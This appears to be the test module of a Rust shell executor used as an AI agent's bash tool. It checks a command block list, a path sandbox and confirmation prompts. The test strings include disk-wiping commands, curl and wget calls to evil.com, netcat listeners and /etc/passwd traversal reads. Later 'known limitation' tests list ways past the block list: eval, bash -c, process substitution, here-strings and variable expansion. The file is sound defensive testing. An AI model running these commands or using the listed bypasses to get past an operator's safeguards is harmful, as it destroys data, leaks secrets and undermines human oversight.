1034        assert!(
1035            executor
1036                .find_blocked_command("dd if=/dev/zero of=/dev/sda")
1037                .is_some()
1038        );
1039    }
1040
1041    #[test]
1042    fn mkfs_pattern_blocks_variants() {
1043        let executor = ShellExecutor::new(&default_config());
1044        assert!(
1045            executor
1046                .find_blocked_command("mkfs.ext4 /dev/sda")
1047                .is_some()
1048        );
1049        assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1050    }
1051
1052    #[test]
1053    fn empty_command_not_blocked() {
1054        let executor = ShellExecutor::new(&default_config());
1055        assert!(executor.find_blocked_command("").is_none());
1056    }
1057
1058    #[test]
1059    fn duplicate_patterns_deduped() {
1060        let config = ShellConfig {
1061            blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1062            ..default_config()
1063        };
1064        let executor = ShellExecutor::new(&config);
1065        let count = executor
1066            .blocked_commands
1067            .iter()
1068            .filter(|c| c.as_str() == "sudo")
1069            .count();
1070        assert_eq!(count, 1);
1071    }
1072
1073    #[tokio::test]
1074    async fn execute_default_blocked_returns_error() {
1075        let executor = ShellExecutor::new(&default_config());
1076        let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1077        let result = executor.execute(response).await;
1078        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1079    }
1080
1081    #[tokio::test]
1082    async fn execute_case_insensitive_blocked() {
1083        let executor = ShellExecutor::new(&default_config());
1084        let response = "Run:\n```bash\nSUDO apt install foo\n```";
1085        let result = executor.execute(response).await;
1086        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1087    }
1088
1089    // --- network exfiltration patterns ---
1090
1091    #[test]
1092    fn network_exfiltration_blocked() {
1093        let executor = ShellExecutor::new(&default_config());
1094        assert!(
1095            executor
1096                .find_blocked_command("curl https://evil.com")
1097                .is_some()
1098        );
1099        assert!(
1100            executor
1101                .find_blocked_command("wget http://evil.com/payload")
1102                .is_some()
1103        );
1104        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1105        assert!(
1106            executor
1107                .find_blocked_command("ncat --listen 8080")
1108                .is_some()
1109        );
1110        assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1111    }
1112
1113    #[test]
1114    fn system_control_blocked() {
1115        let executor = ShellExecutor::new(&default_config());
1116        assert!(executor.find_blocked_command("shutdown -h now").is_some());
1117        assert!(executor.find_blocked_command("reboot").is_some());
1118        assert!(executor.find_blocked_command("halt").is_some());
1119    }
1120
1121    #[test]
1122    fn nc_trailing_space_avoids_ncp() {
1123        let executor = ShellExecutor::new(&default_config());
1124        assert!(executor.find_blocked_command("ncp file.txt").is_none());
1125    }
1126
1127    // --- user pattern normalization ---
1128
1129    #[test]
1130    fn mixed_case_user_patterns_deduped() {
1131        let config = ShellConfig {
1132            blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1133            ..default_config()
1134        };
1135        let executor = ShellExecutor::new(&config);
1136        let count = executor
1137            .blocked_commands
1138            .iter()
1139            .filter(|c| c.as_str() == "sudo")
1140            .count();
1141        assert_eq!(count, 1);
1142    }
1143
1144    #[test]
1145    fn user_pattern_stored_lowercase() {
1146        let config = ShellConfig {
1147            blocked_commands: vec!["MyCustom".to_owned()],
1148            ..default_config()
1149        };
1150        let executor = ShellExecutor::new(&config);
1151        assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1152        assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1153    }
1154
1155    // --- allowed_commands tests ---
1156
1157    #[test]
1158    fn allowed_commands_removes_from_default() {
1159        let config = ShellConfig {
1160            allowed_commands: vec!["curl".to_owned()],
1161            ..default_config()
1162        };
1163        let executor = ShellExecutor::new(&config);
1164        assert!(
1165            executor
1166                .find_blocked_command("curl https://example.com")
1167                .is_none()
1168        );
1169        assert!(executor.find_blocked_command("sudo rm").is_some());
1170    }
1171
1172    #[test]
1173    fn allowed_commands_case_insensitive() {
1174        let config = ShellConfig {
1175            allowed_commands: vec!["CURL".to_owned()],
1176            ..default_config()
1177        };
1178        let executor = ShellExecutor::new(&config);
1179        assert!(
1180            executor
1181                .find_blocked_command("curl https://example.com")
1182                .is_none()
1183        );
1184    }
1185
1186    #[test]
1187    fn allowed_does_not_override_explicit_block() {
1188        let config = ShellConfig {
1189            blocked_commands: vec!["curl".to_owned()],
1190            allowed_commands: vec!["curl".to_owned()],
1191            ..default_config()
1192        };
1193        let executor = ShellExecutor::new(&config);
1194        assert!(
1195            executor
1196                .find_blocked_command("curl https://example.com")
1197                .is_some()
1198        );
1199    }
1200
1201    #[test]
1202    fn allowed_unknown_command_ignored() {
1203        let config = ShellConfig {
1204            allowed_commands: vec!["nonexistent-cmd".to_owned()],
1205            ..default_config()
1206        };
1207        let executor = ShellExecutor::new(&config);
1208        assert!(executor.find_blocked_command("sudo rm").is_some());
1209        assert!(
1210            executor
1211                .find_blocked_command("curl https://example.com")
1212                .is_some()
1213        );
1214    }
1215
1216    #[test]
1217    fn empty_allowed_commands_changes_nothing() {
1218        let executor = ShellExecutor::new(&default_config());
1219        assert!(
1220            executor
1221                .find_blocked_command("curl https://example.com")
1222                .is_some()
1223        );
1224        assert!(executor.find_blocked_command("sudo rm").is_some());
1225        assert!(
1226            executor
1227                .find_blocked_command("wget http://evil.com")
1228                .is_some()
1229        );
1230    }
1231
1232    // --- Phase 1: sandbox tests ---
1233
1234    #[test]
1235    fn extract_paths_from_code() {
1236        let paths = extract_paths("cat /etc/passwd && ls /var/log");
1237        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1238    }
1239
1240    #[test]
1241    fn extract_paths_handles_trailing_chars() {
1242        let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1243        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1244    }
1245
1246    #[test]
1247    fn extract_paths_detects_relative() {
1248        let paths = extract_paths("cat ./file.txt ../other");
1249        assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1250    }
1251
1252    #[test]
1253    fn sandbox_allows_cwd_by_default() {
1254        let executor = ShellExecutor::new(&default_config());
1255        let cwd = std::env::current_dir().unwrap();
1256        let cwd_path = cwd.display().to_string();
1257        let code = format!("cat {cwd_path}/file.txt");
1258        assert!(executor.validate_sandbox(&code).is_ok());
1259    }
1260
1261    #[test]
1262    fn sandbox_rejects_path_outside_allowed() {
1263        let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1264        let executor = ShellExecutor::new(&config);
1265        let result = executor.validate_sandbox("cat /etc/passwd");
1266        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1267    }
1268
1269    #[test]
1270    fn sandbox_no_absolute_paths_passes() {
1271        let config = sandbox_config(vec!["/tmp".into()]);
1272        let executor = ShellExecutor::new(&config);
1273        assert!(executor.validate_sandbox("echo hello").is_ok());
1274    }
1275
1276    #[test]
1277    fn sandbox_rejects_dotdot_traversal() {
1278        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1279        let executor = ShellExecutor::new(&config);
1280        let result = executor.validate_sandbox("cat ../../../etc/passwd");
1281        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1282    }
1283
1284    #[test]
1285    fn sandbox_rejects_bare_dotdot() {
1286        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1287        let executor = ShellExecutor::new(&config);
1288        let result = executor.validate_sandbox("cd ..");
1289        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1290    }
1291
1292    #[test]
1293    fn sandbox_rejects_relative_dotslash_outside() {
1294        let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1295        let executor = ShellExecutor::new(&config);
1296        let result = executor.validate_sandbox("cat ./secret.txt");
1297        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1298    }
1299
1300    #[test]
1301    fn sandbox_rejects_absolute_with_embedded_dotdot() {
1302        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1303        let executor = ShellExecutor::new(&config);
1304        let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1305        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1306    }
1307
1308    #[test]
1309    fn has_traversal_detects_dotdot() {
1310        assert!(has_traversal("../etc/passwd"));
1311        assert!(has_traversal("./foo/../bar"));
1312        assert!(has_traversal("/tmp/sandbox/../../etc"));
1313        assert!(has_traversal(".."));
1314        assert!(!has_traversal("./safe/path"));
1315        assert!(!has_traversal("/absolute/path"));
1316        assert!(!has_traversal("no-dots-here"));
1317    }
1318
1319    #[test]
1320    fn extract_paths_detects_dotdot_standalone() {
1321        let paths = extract_paths("cd ..");
1322        assert_eq!(paths, vec!["..".to_owned()]);
1323    }
1324
1325    // --- Phase 1: allow_network tests ---
1326
1327    #[test]
1328    fn allow_network_false_blocks_network_commands() {
1329        let config = ShellConfig {
1330            allow_network: false,
1331            ..default_config()
1332        };
1333        let executor = ShellExecutor::new(&config);
1334        assert!(
1335            executor
1336                .find_blocked_command("curl https://example.com")
1337                .is_some()
1338        );
1339        assert!(
1340            executor
1341                .find_blocked_command("wget http://example.com")
1342                .is_some()
1343        );
1344        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1345    }
1346
1347    #[test]
1348    fn allow_network_true_keeps_default_behavior() {
1349        let config = ShellConfig {
1350            allow_network: true,
1351            ..default_config()
1352        };
1353        let executor = ShellExecutor::new(&config);
1354        // Network commands are still blocked by DEFAULT_BLOCKED
1355        assert!(
1356            executor
1357                .find_blocked_command("curl https://example.com")
1358                .is_some()
1359        );
1360    }
1361
1362    // --- Phase 2a: confirmation tests ---
1363
1364    #[test]
1365    fn find_confirm_command_matches_pattern() {
1366        let config = ShellConfig {
1367            confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1368            ..default_config()
1369        };
1370        let executor = ShellExecutor::new(&config);
1371        assert_eq!(
1372            executor.find_confirm_command("rm /tmp/file.txt"),
1373            Some("rm ")
1374        );
1375        assert_eq!(
1376            executor.find_confirm_command("git push -f origin main"),
1377            Some("git push -f")
1378        );
1379    }
1380
1381    #[test]
1382    fn find_confirm_command_case_insensitive() {
1383        let config = ShellConfig {
1384            confirm_patterns: vec!["drop table".into()],
1385            ..default_config()
1386        };
1387        let executor = ShellExecutor::new(&config);
1388        assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1389    }
1390
1391    #[test]
1392    fn find_confirm_command_no_match() {
1393        let config = ShellConfig {
1394            confirm_patterns: vec!["rm ".into()],
1395            ..default_config()
1396        };
1397        let executor = ShellExecutor::new(&config);
1398        assert!(executor.find_confirm_command("echo hello").is_none());
1399    }
1400
1401    #[tokio::test]
1402    async fn confirmation_required_returned() {
1403        let config = ShellConfig {
1404            confirm_patterns: vec!["rm ".into()],
1405            ..default_config()
1406        };
1407        let executor = ShellExecutor::new(&config);
1408        let response = "```bash\nrm file.txt\n```";
1409        let result = executor.execute(response).await;
1410        assert!(matches!(
1411            result,
1412            Err(ToolError::ConfirmationRequired { .. })
1413        ));
1414    }
1415
1416    #[tokio::test]
1417    async fn execute_confirmed_skips_confirmation() {
1418        let config = ShellConfig {
1419            confirm_patterns: vec!["echo".into()],
1420            ..default_config()
1421        };
1422        let executor = ShellExecutor::new(&config);
1423        let response = "```bash\necho confirmed\n```";
1424        let result = executor.execute_confirmed(response).await;
1425        assert!(result.is_ok());
1426        let output = result.unwrap().unwrap();
1427        assert!(output.summary.contains("confirmed"));
1428    }
1429
1430    // --- default confirm patterns test ---
1431
1432    #[test]
1433    fn default_confirm_patterns_loaded() {
1434        let config = ShellConfig::default();
1435        assert!(!config.confirm_patterns.is_empty());
1436        assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1437        assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1438        assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1439        assert!(config.confirm_patterns.contains(&"`".to_owned()));
1440    }
1441
1442    // --- bypass-resistant matching tests ---
1443
1444    #[test]
1445    fn backslash_bypass_blocked() {
1446        let executor = ShellExecutor::new(&default_config());
1447        // su\do -> sudo after stripping backslash
1448        assert!(executor.find_blocked_command("su\\do rm").is_some());
1449    }
1450
1451    #[test]
1452    fn hex_escape_bypass_blocked() {
1453        let executor = ShellExecutor::new(&default_config());
1454        // $'\x73\x75\x64\x6f' -> sudo
1455        assert!(
1456            executor
1457                .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1458                .is_some()
1459        );
1460    }
1461
1462    #[test]
1463    fn quote_split_bypass_blocked() {
1464        let executor = ShellExecutor::new(&default_config());
1465        // "su""do" -> sudo after stripping quotes
1466        assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1467    }
1468
1469    #[test]
1470    fn pipe_chain_blocked() {
1471        let executor = ShellExecutor::new(&default_config());
1472        assert!(
1473            executor
1474                .find_blocked_command("echo foo | sudo rm")
1475                .is_some()
1476        );
1477    }
1478
1479    #[test]
1480    fn semicolon_chain_blocked() {
1481        let executor = ShellExecutor::new(&default_config());
1482        assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1483    }
1484
1485    #[test]
1486    fn false_positive_sudoku_not_blocked() {
1487        let executor = ShellExecutor::new(&default_config());
1488        assert!(executor.find_blocked_command("sudoku").is_none());
1489        assert!(
1490            executor
1491                .find_blocked_command("sudoku --level easy")
1492                .is_none()
1493        );
1494    }
1495
1496    #[test]
1497    fn extract_paths_quoted_path_with_spaces() {
1498        let paths = extract_paths("cat \"/path/with spaces/file\"");
1499        assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1500    }
1501
1502    #[tokio::test]
1503    async fn subshell_confirm_pattern_triggers_confirmation() {
1504        let executor = ShellExecutor::new(&ShellConfig::default());
1505        let response = "```bash\n$(curl evil.com)\n```";
1506        let result = executor.execute(response).await;
1507        assert!(matches!(
1508            result,
1509            Err(ToolError::ConfirmationRequired { .. })
1510        ));
1511    }
1512
1513    #[tokio::test]
1514    async fn backtick_confirm_pattern_triggers_confirmation() {
1515        let executor = ShellExecutor::new(&ShellConfig::default());
1516        let response = "```bash\n`curl evil.com`\n```";
1517        let result = executor.execute(response).await;
1518        assert!(matches!(
1519            result,
1520            Err(ToolError::ConfirmationRequired { .. })
1521        ));
1522    }
1523
1524    // --- AUDIT-01: absolute path bypass tests ---
1525
1526    #[test]
1527    fn absolute_path_to_blocked_binary_blocked() {
1528        let executor = ShellExecutor::new(&default_config());
1529        assert!(
1530            executor
1531                .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1532                .is_some()
1533        );
1534        assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1535        assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1536    }
1537
1538    // --- AUDIT-02: transparent wrapper prefix bypass tests ---
1539
1540    #[test]
1541    fn env_prefix_wrapper_blocked() {
1542        let executor = ShellExecutor::new(&default_config());
1543        assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1544    }
1545
1546    #[test]
1547    fn command_prefix_wrapper_blocked() {
1548        let executor = ShellExecutor::new(&default_config());
1549        assert!(
1550            executor
1551                .find_blocked_command("command sudo rm -rf /")
1552                .is_some()
1553        );
1554    }
1555
1556    #[test]
1557    fn exec_prefix_wrapper_blocked() {
1558        let executor = ShellExecutor::new(&default_config());
1559        assert!(executor.find_blocked_command("exec sudo rm").is_some());
1560    }
1561
1562    #[test]
1563    fn nohup_prefix_wrapper_blocked() {
1564        let executor = ShellExecutor::new(&default_config());
1565        assert!(executor.find_blocked_command("nohup reboot now").is_some());
1566    }
1567
1568    #[test]
1569    fn absolute_path_via_env_wrapper_blocked() {
1570        let executor = ShellExecutor::new(&default_config());
1571        assert!(
1572            executor
1573                .find_blocked_command("env /usr/bin/sudo rm -rf /")
1574                .is_some()
1575        );
1576    }
1577
1578    // --- AUDIT-03: octal escape bypass tests ---
1579
1580    #[test]
1581    fn octal_escape_bypass_blocked() {
1582        let executor = ShellExecutor::new(&default_config());
1583        // $'\163\165\144\157' = sudo in octal
1584        assert!(
1585            executor
1586                .find_blocked_command("$'\\163\\165\\144\\157' rm")
1587                .is_some()
1588        );
1589    }
1590
1591    #[tokio::test]
1592    async fn with_audit_attaches_logger() {
1593        use crate::audit::AuditLogger;
1594        use crate::config::AuditConfig;
1595        let config = default_config();
1596        let executor = ShellExecutor::new(&config);
1597        let audit_config = AuditConfig {
1598            enabled: true,
1599            destination: "stdout".into(),
1600        };
1601        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1602        let executor = executor.with_audit(logger);
1603        assert!(executor.audit_logger.is_some());
1604    }
1605
1606    #[test]
1607    fn chrono_now_returns_valid_timestamp() {
1608        let ts = chrono_now();
1609        assert!(!ts.is_empty());
1610        let parsed: u64 = ts.parse().unwrap();
1611        assert!(parsed > 0);
1612    }
1613
1614    #[cfg(unix)]
1615    #[tokio::test]
1616    async fn execute_bash_injects_extra_env() {
1617        let mut env = std::collections::HashMap::new();
1618        env.insert(
1619            "ZEPH_TEST_INJECTED_VAR".to_owned(),
1620            "hello-from-env".to_owned(),
1621        );
1622        let (result, code) = execute_bash(
1623            "echo $ZEPH_TEST_INJECTED_VAR",
1624            Duration::from_secs(5),
1625            None,
1626            None,
1627            Some(&env),
1628        )
1629        .await;
1630        assert_eq!(code, 0);
1631        assert!(result.contains("hello-from-env"));
1632    }
1633
1634    #[cfg(unix)]
1635    #[tokio::test]
1636    async fn shell_executor_set_skill_env_injects_vars() {
1637        let config = ShellConfig {
1638            timeout: 5,
1639            allowed_commands: vec![],
1640            blocked_commands: vec![],
1641            allowed_paths: vec![],
1642            confirm_patterns: vec![],
1643            allow_network: false,
1644        };
1645        let executor = ShellExecutor::new(&config);
1646        let mut env = std::collections::HashMap::new();
1647        env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1648        executor.set_skill_env(Some(env));
1649        use crate::executor::ToolExecutor;
1650        let result = executor
1651            .execute("```bash\necho $MY_SKILL_SECRET\n```")
1652            .await
1653            .unwrap()
1654            .unwrap();
1655        assert!(result.summary.contains("injected-value"));
1656        executor.set_skill_env(None);
1657    }
1658
1659    #[cfg(unix)]
1660    #[tokio::test]
1661    async fn execute_bash_error_handling() {
1662        let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1663        assert_eq!(result, "(no output)");
1664        assert_eq!(code, 1);
1665    }
1666
1667    #[cfg(unix)]
1668    #[tokio::test]
1669    async fn execute_bash_command_not_found() {
1670        let (result, _) = execute_bash(
1671            "nonexistent-command-xyz",
1672            Duration::from_secs(5),
1673            None,
1674            None,
1675            None,
1676        )
1677        .await;
1678        assert!(result.contains("[stderr]") || result.contains("[error]"));
1679    }
1680
1681    #[test]
1682    fn extract_paths_empty() {
1683        assert!(extract_paths("").is_empty());
1684    }
1685
1686    #[tokio::test]
1687    async fn policy_deny_blocks_command() {
1688        let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1689        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1690        let response = "```bash\nforbidden command\n```";
1691        let result = executor.execute(response).await;
1692        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1693    }
1694
1695    #[tokio::test]
1696    async fn policy_ask_requires_confirmation() {
1697        let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1698        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1699        let response = "```bash\nrisky operation\n```";
1700        let result = executor.execute(response).await;
1701        assert!(matches!(
1702            result,
1703            Err(ToolError::ConfirmationRequired { .. })
1704        ));
1705    }
1706
1707    #[tokio::test]
1708    async fn policy_allow_skips_checks() {
1709        use crate::permissions::PermissionRule;
1710        use std::collections::HashMap;
1711        let mut rules = HashMap::new();
1712        rules.insert(
1713            "bash".to_owned(),
1714            vec![PermissionRule {
1715                pattern: "*".to_owned(),
1716                action: PermissionAction::Allow,
1717            }],
1718        );
1719        let policy = PermissionPolicy::new(rules);
1720        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1721        let response = "```bash\necho hello\n```";
1722        let result = executor.execute(response).await;
1723        assert!(result.is_ok());
1724    }
1725
1726    #[tokio::test]
1727    async fn blocked_command_logged_to_audit() {
1728        use crate::audit::AuditLogger;
1729        use crate::config::AuditConfig;
1730        let config = ShellConfig {
1731            blocked_commands: vec!["dangerous".to_owned()],
1732            ..default_config()
1733        };
1734        let audit_config = AuditConfig {
1735            enabled: true,
1736            destination: "stdout".into(),
1737        };
1738        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1739        let executor = ShellExecutor::new(&config).with_audit(logger);
1740        let response = "```bash\ndangerous command\n```";
1741        let result = executor.execute(response).await;
1742        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1743    }
1744
1745    #[test]
1746    fn tool_definitions_returns_bash() {
1747        let executor = ShellExecutor::new(&default_config());
1748        let defs = executor.tool_definitions();
1749        assert_eq!(defs.len(), 1);
1750        assert_eq!(defs[0].id, "bash");
1751        assert_eq!(
1752            defs[0].invocation,
1753            crate::registry::InvocationHint::FencedBlock("bash")
1754        );
1755    }
1756
1757    #[test]
1758    fn tool_definitions_schema_has_command_param() {
1759        let executor = ShellExecutor::new(&default_config());
1760        let defs = executor.tool_definitions();
1761        let obj = defs[0].schema.as_object().unwrap();
1762        let props = obj["properties"].as_object().unwrap();
1763        assert!(props.contains_key("command"));
1764        let req = obj["required"].as_array().unwrap();
1765        assert!(req.iter().any(|v| v.as_str() == Some("command")));
1766    }
1767
1768    #[tokio::test]
1769    #[cfg(not(target_os = "windows"))]
1770    async fn cancel_token_kills_child_process() {
1771        let token = CancellationToken::new();
1772        let token_clone = token.clone();
1773        tokio::spawn(async move {
1774            tokio::time::sleep(Duration::from_millis(100)).await;
1775            token_clone.cancel();
1776        });
1777        let (result, code) = execute_bash(
1778            "sleep 60",
1779            Duration::from_secs(30),
1780            None,
1781            Some(&token),
1782            None,
1783        )
1784        .await;
1785        assert_eq!(code, 130);
1786        assert!(result.contains("[cancelled]"));
1787    }
1788
1789    #[tokio::test]
1790    #[cfg(not(target_os = "windows"))]
1791    async fn cancel_token_none_does_not_cancel() {
1792        let (result, code) =
1793            execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1794        assert_eq!(code, 0);
1795        assert!(result.contains("ok"));
1796    }
1797
1798    #[tokio::test]
1799    #[cfg(not(target_os = "windows"))]
1800    async fn cancel_kills_child_process_group() {
1801        use std::path::Path;
1802        let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
1803        let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
1804        let token = CancellationToken::new();
1805        let token_clone = token.clone();
1806        tokio::spawn(async move {
1807            tokio::time::sleep(Duration::from_millis(200)).await;
1808            token_clone.cancel();
1809        });
1810        let (result, code) =
1811            execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
1812        assert_eq!(code, 130);
1813        assert!(result.contains("[cancelled]"));
1814        // Wait briefly, then verify the subprocess did NOT create the marker file
1815        tokio::time::sleep(Duration::from_millis(500)).await;
1816        assert!(
1817            !Path::new(&marker).exists(),
1818            "subprocess should have been killed with process group"
1819        );
1820    }
1821
1822    #[tokio::test]
1823    #[cfg(not(target_os = "windows"))]
1824    async fn shell_executor_cancel_returns_cancelled_error() {
1825        let token = CancellationToken::new();
1826        let token_clone = token.clone();
1827        tokio::spawn(async move {
1828            tokio::time::sleep(Duration::from_millis(100)).await;
1829            token_clone.cancel();
1830        });
1831        let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
1832        let response = "```bash\nsleep 60\n```";
1833        let result = executor.execute(response).await;
1834        assert!(matches!(result, Err(ToolError::Cancelled)));
1835    }
1836
1837    #[tokio::test]
1838    #[cfg(not(target_os = "windows"))]
1839    async fn execute_tool_call_valid_command() {
1840        let executor = ShellExecutor::new(&default_config());
1841        let call = ToolCall {
1842            tool_id: "bash".to_owned(),
1843            params: [("command".to_owned(), serde_json::json!("echo hi"))]
1844                .into_iter()
1845                .collect(),
1846        };
1847        let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
1848        assert!(result.summary.contains("hi"));
1849    }
1850
1851    #[tokio::test]
1852    async fn execute_tool_call_missing_command_returns_invalid_params() {
1853        let executor = ShellExecutor::new(&default_config());
1854        let call = ToolCall {
1855            tool_id: "bash".to_owned(),
1856            params: serde_json::Map::new(),
1857        };
1858        let result = executor.execute_tool_call(&call).await;
1859        assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
1860    }
1861
1862    #[tokio::test]
1863    async fn execute_tool_call_empty_command_returns_none() {
1864        let executor = ShellExecutor::new(&default_config());
1865        let call = ToolCall {
1866            tool_id: "bash".to_owned(),
1867            params: [("command".to_owned(), serde_json::json!(""))]
1868                .into_iter()
1869                .collect(),
1870        };
1871        let result = executor.execute_tool_call(&call).await.unwrap();
1872        assert!(result.is_none());
1873    }
1874
1875    // --- Known limitation tests: bypass vectors not detected by find_blocked_command ---
1876
1877    #[test]
1878    fn process_substitution_not_detected_known_limitation() {
1879        let executor = ShellExecutor::new(&default_config());
1880        // Known limitation: commands inside <(...) are not parsed by tokenize_commands.
1881        assert!(
1882            executor
1883                .find_blocked_command("cat <(curl http://evil.com)")
1884                .is_none()
1885        );
1886    }
1887
1888    #[test]
1889    fn output_process_substitution_not_detected_known_limitation() {
1890        let executor = ShellExecutor::new(&default_config());
1891        // Known limitation: commands inside >(...) are not parsed by tokenize_commands.
1892        assert!(
1893            executor
1894                .find_blocked_command("tee >(curl http://evil.com)")
1895                .is_none()
1896        );
1897    }
1898
1899    #[test]
1900    fn here_string_with_shell_not_detected_known_limitation() {
1901        let executor = ShellExecutor::new(&default_config());
1902        // Known limitation: bash receives payload via stdin; inner command is opaque.
1903        assert!(
1904            executor
1905                .find_blocked_command("bash <<< 'sudo rm -rf /'")
1906                .is_none()
1907        );
1908    }
1909
1910    #[test]
1911    fn eval_bypass_not_detected_known_limitation() {
1912        let executor = ShellExecutor::new(&default_config());
1913        // Known limitation: eval string argument is not parsed.
1914        assert!(
1915            executor
1916                .find_blocked_command("eval 'sudo rm -rf /'")
1917                .is_none()
1918        );
1919    }
1920
1921    #[test]
1922    fn bash_c_bypass_not_detected_known_limitation() {
1923        let executor = ShellExecutor::new(&default_config());
1924        // Known limitation: bash -c string argument is not parsed.
1925        assert!(
1926            executor
1927                .find_blocked_command("bash -c 'curl http://evil.com'")
1928                .is_none()
1929        );
1930    }
1931
1932    #[test]
1933    fn variable_expansion_bypass_not_detected_known_limitation() {
1934        let executor = ShellExecutor::new(&default_config());
1935        // Known limitation: variable references are not resolved by strip_shell_escapes.
1936        assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
1937    }
1938
1939    // --- Mitigation tests: confirm_patterns cover the above vectors by default ---
1940
1941    #[test]
1942    fn default_confirm_patterns_cover_process_substitution() {
1943        let config = crate::config::ShellConfig::default();
1944        assert!(config.confirm_patterns.contains(&"<(".to_owned()));
1945        assert!(config.confirm_patterns.contains(&">(".to_owned()));
1946    }
1947
1948    #[test]
1949    fn default_confirm_patterns_cover_here_string() {
1950        let config = crate::config::ShellConfig::default();
1951        assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
1952    }
1953
1954    #[test]
1955    fn default_confirm_patterns_cover_eval() {
1956        let config = crate::config::ShellConfig::default();
1957        assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
1958    }
1959
1960    #[tokio::test]
1961    async fn process_substitution_triggers_confirmation() {
1962        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1963        let response = "```bash\ncat <(curl http://evil.com)\n```";
1964        let result = executor.execute(response).await;
1965        assert!(matches!(
1966            result,
1967            Err(ToolError::ConfirmationRequired { .. })
1968        ));
1969    }
1970
1971    #[tokio::test]
1972    async fn here_string_triggers_confirmation() {
1973        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1974        let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
1975        let result = executor.execute(response).await;
1976        assert!(matches!(
1977            result,
1978            Err(ToolError::ConfirmationRequired { .. })
1979        ));
1980    }
1981
1982    #[tokio::test]
1983    async fn eval_triggers_confirmation() {
1984        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1985        let response = "```bash\neval 'curl http://evil.com'\n```";
1986        let result = executor.execute(response).await;
1987        assert!(matches!(
1988            result,
1989            Err(ToolError::ConfirmationRequired { .. })
1990        ));
1991    }
1992
1993    #[tokio::test]
1994    async fn output_process_substitution_triggers_confirmation() {
1995        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1996        let response = "```bash\ntee >(curl http://evil.com)\n```";
1997        let result = executor.execute(response).await;
1998        assert!(matches!(
1999            result,
2000            Err(ToolError::ConfirmationRequired { .. })
2001        ));
2002    }
2003
2004    #[test]
2005    fn here_string_with_command_substitution_not_detected_known_limitation() {
2006        let executor = ShellExecutor::new(&default_config());
2007        // Known limitation: bash receives payload via stdin; inner command substitution is opaque.
2008        assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
2009    }
2010}